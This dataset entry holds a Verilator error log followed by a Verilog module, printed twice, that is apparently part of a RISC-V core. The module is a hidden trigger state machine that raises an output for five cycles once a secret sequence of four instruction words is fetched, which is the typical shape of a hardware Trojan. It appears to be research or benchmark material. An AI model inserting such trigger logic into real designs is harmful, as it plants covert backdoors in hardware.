data/full_repos/permissive/163086767/rtl/e203/core/trigger_01_ifu.v
1: b'%Error: data/full_repos/permissive/163086767/rtl/e203/core/trigger_01_ifu.v:26: Cannot find include file: e203_defines.v\n`include "e203_defines.v" \n         ^~~~~~~~~~~~~~~~\n        ... Looked in:\n             data/full_repos/permissive/163086767/rtl/e203/core,data/full_repos/permissive/163086767/e203_defines.v\n             data/full_repos/permissive/163086767/rtl/e203/core,data/full_repos/permissive/163086767/e203_defines.v.v\n             data/full_repos/permissive/163086767/rtl/e203/core,data/full_repos/permissive/163086767/e203_defines.v.sv\n             e203_defines.v\n             e203_defines.v.v\n             e203_defines.v.sv\n             obj_dir/e203_defines.v\n             obj_dir/e203_defines.v.v\n             obj_dir/e203_defines.v.sv\n%Error: data/full_repos/permissive/163086767/rtl/e203/core/trigger_01_ifu.v:29: Define or directive not defined: \'`E203_INSTR_SIZE\'\n  input  [`E203_INSTR_SIZE-1:0] ifu_o_ir, \n          ^~~~~~~~~~~~~~~~\n%Error: Exiting due to 2 error(s)\n'
module trig_01_ifu(
  input  [`E203_INSTR_SIZE-1:0] ifu_o_ir,
  input  trig_01_en,
  output  reg trig_01_o,
  input  clk,
  input  rst_n
  );
  

  reg [3:0] NS, CS; 
  parameter [3:0]
      IDLE   = 4'b0000,
      S1     = 4'b0001,
      S2     = 4'b0010,
      S3     = 4'b0100,
      S4     = 4'b1000,
      S5     = 4'b1001,
      S6     = 4'b1010,
      S7     = 4'b1011,
      S8     = 4'b1100;

  always @ (posedge clk or negedge rst_n)
      if (!rst_n)
          CS <= IDLE;
      else
          CS <= NS;
  always @ (rst_n or CS or ifu_o_ir) begin                
      NS = 4'bx;                
      case (CS)                     
          IDLE:   begin
                      if (ifu_o_ir == 32'h01c3_fe33) NS = S1;
                      else NS = IDLE;
                  end
          S1:     begin
                      if (ifu_o_ir == 32'h000e_0663) NS = S2;
                      else NS = S1;
                  end                     
          S2:     begin
                      if (ifu_o_ir == 32'h2000_0eb7) NS = S3;
                      else NS = S2;
                  end
          S3:     begin
                      if (ifu_o_ir == 32'h2100_0eb7) NS = S4;
                      else NS = S3;
                  end
          S4:     NS = S5;
          S5:     NS = S6;
          S6:     NS = S7;
          S7:     NS = S8;
          S8:     NS = IDLE;
          default: NS = IDLE;
      endcase
  end
  always @ (posedge clk or negedge rst_n or posedge trig_01_en)
      if (!rst_n)
          trig_01_o <= 1'b0;
      else if(trig_01_en)
          trig_01_o <= 1'b0;
      else begin
          trig_01_o <= 1'b0;
          case (NS)            
              IDLE:   trig_01_o <= 1'b0;
              S1:     trig_01_o <= 1'b0;
              S2:     trig_01_o <= 1'b0;
              S3:     trig_01_o <= 1'b0;
              S4:     trig_01_o <= 1'b1;
              S5:     trig_01_o <= 1'b1;
              S6:     trig_01_o <= 1'b1;
              S7:     trig_01_o <= 1'b1;
              S8:     trig_01_o <= 1'b1;
          endcase
      end



  
endmodule
module trig_01_ifu(
  input  [`E203_INSTR_SIZE-1:0] ifu_o_ir,
  input  trig_01_en,
  output  reg trig_01_o,
  input  clk,
  input  rst_n
  );

  

  reg [3:0] NS, CS; 
  parameter [3:0]
      IDLE   = 4'b0000,
      S1     = 4'b0001,
      S2     = 4'b0010,
      S3     = 4'b0100,
      S4     = 4'b1000,
      S5     = 4'b1001,
      S6     = 4'b1010,
      S7     = 4'b1011,
      S8     = 4'b1100;

  always @ (posedge clk or negedge rst_n)
      if (!rst_n)
          CS <= IDLE;
      else
          CS <= NS;
  always @ (rst_n or CS or ifu_o_ir) begin                
      NS = 4'bx;                
      case (CS)                     
          IDLE:   begin
                      if (ifu_o_ir == 32'h01c3_fe33) NS = S1;
                      else NS = IDLE;
                  end
          S1:     begin
                      if (ifu_o_ir == 32'h000e_0663) NS = S2;
                      else NS = S1;
                  end                     
          S2:     begin
                      if (ifu_o_ir == 32'h2000_0eb7) NS = S3;
                      else NS = S2;
                  end
          S3:     begin
                      if (ifu_o_ir == 32'h2100_0eb7) NS = S4;
                      else NS = S3;
                  end
          S4:     NS = S5;
          S5:     NS = S6;
          S6:     NS = S7;
          S7:     NS = S8;
          S8:     NS = IDLE;
          default: NS = IDLE;
      endcase
  end
  always @ (posedge clk or negedge rst_n or posedge trig_01_en)
      if (!rst_n)
          trig_01_o <= 1'b0;
      else if(trig_01_en)
          trig_01_o <= 1'b0;
      else begin
          trig_01_o <= 1'b0;
          case (NS)            
              IDLE:   trig_01_o <= 1'b0;
              S1:     trig_01_o <= 1'b0;
              S2:     trig_01_o <= 1'b0;
              S3:     trig_01_o <= 1'b0;
              S4:     trig_01_o <= 1'b1;
              S5:     trig_01_o <= 1'b1;
              S6:     trig_01_o <= 1'b1;
              S7:     trig_01_o <= 1'b1;
              S8:     trig_01_o <= 1'b1;
          endcase
      end



  
endmodule